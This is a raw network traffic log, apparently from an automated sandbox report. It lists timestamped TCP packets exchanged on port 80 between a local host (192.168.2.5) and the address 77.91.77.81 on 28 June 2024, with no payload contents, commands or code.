Jun 28, 2024 13:36:12.732990026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733019114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733033895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733047009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733056068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733066082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733074903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733083963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733088970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733088970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733108997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733129978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733145952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733155966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733165026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733174086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733182907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733225107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733225107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733266115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733277082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733285904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733320951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733320951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733336926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733350039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733361006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733370066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733397007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733397007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733397007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733403921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733424902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733436108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733449936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733472109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733472109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733592033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733633041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733637094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733642101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733673096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733675003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733702898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733716011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733719110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733726025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733736992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733767033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733808041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733874083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733884096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733891964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733901024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733911037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733920097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733925104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.733931065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733963013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733963966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.733963966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.782823086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782841921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782851934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782860994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782865047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782870054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782875061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782879114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782885075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782890081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782895088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782901049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782910109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.782964945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.782982111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.783009052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783052921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.783119917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783129930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783138990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783163071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.783183098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.783201933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783211946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783221006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783229113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.783253908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.783267021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812446117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812457085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812467098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812513113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812522888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812530994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812541962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812551975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812552929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812592983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812593937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812658072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812695026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812705994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812747002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812757969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812767982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812772989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812778950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812783957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812813997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812844038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.812935114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812946081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.812982082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813004971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813014030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813024044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813033104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813043118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813051939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813065052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813097000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813097954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813237906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813286066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813292027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813297033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813338041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813344955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813349009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813368082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813400030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813400030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813451052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813461065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813471079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813481092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813489914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813498974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813503981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813508987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813544989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813544989 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813570023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813570976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813581944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813591003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813601017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813620090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813642979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813662052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813672066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813682079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813693047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813731909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813731909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813766003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813801050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813815117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813828945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813841105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813859940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813889980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813909054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813919067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813927889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813936949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813945055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813947916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.813970089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813970089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.813998938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814083099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814093113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814101934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814110994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814120054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814130068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814132929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814141035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814152956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814152956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814179897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814193010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814213037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814239979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814388037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814398050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814407110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814416885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814428091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814436913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814436913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814448118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814466000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814512968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814512968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814560890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814570904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814579964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814589024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814599037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814609051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814610004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814618111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814629078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814630032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814639091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814657927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814680099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814721107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814730883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814740896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814752102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814763069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814769030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814778090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814788103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.814788103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814806938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.814834118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.815337896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.815347910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.815357924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.815397978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.815427065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.845753908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.845776081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.845830917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.846616983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846672058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846687078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846748114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846757889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846766949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846776009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846788883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.846820116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.846839905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846848965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.846944094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863084078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863153934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863245010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863254070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863377094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863455057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863488913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863497972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863507032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863516092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863524914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863533974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863538027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863552094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863570929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863636017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863646030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863655090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863667965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863677979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863682032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863686085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863694906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863694906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863723993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863742113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863786936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863795996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863804102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863812923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863821983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863830090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.863832951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863852024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.863868952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896537066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896610022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896688938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896698952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896708012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896717072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896745920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896771908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896836996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896846056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896855116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896864891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896878004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896894932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896903992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896913052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896919012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896922112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896934032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896939039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896948099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896950960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896967888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896976948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896982908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.896994114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.896995068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897003889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897007942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.897020102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.897023916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897033930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897042036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.897061110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897063017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.897070885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897098064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.897119045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.897124052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.897161961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898309946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898353100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898355007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898365974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898406029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898411036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898421049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898449898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898469925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898488998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898498058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898508072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898525000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898536921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:12.898605108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898614883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:12.898623943 CEST	80	49706	77.91.77.81	192.168.2.5
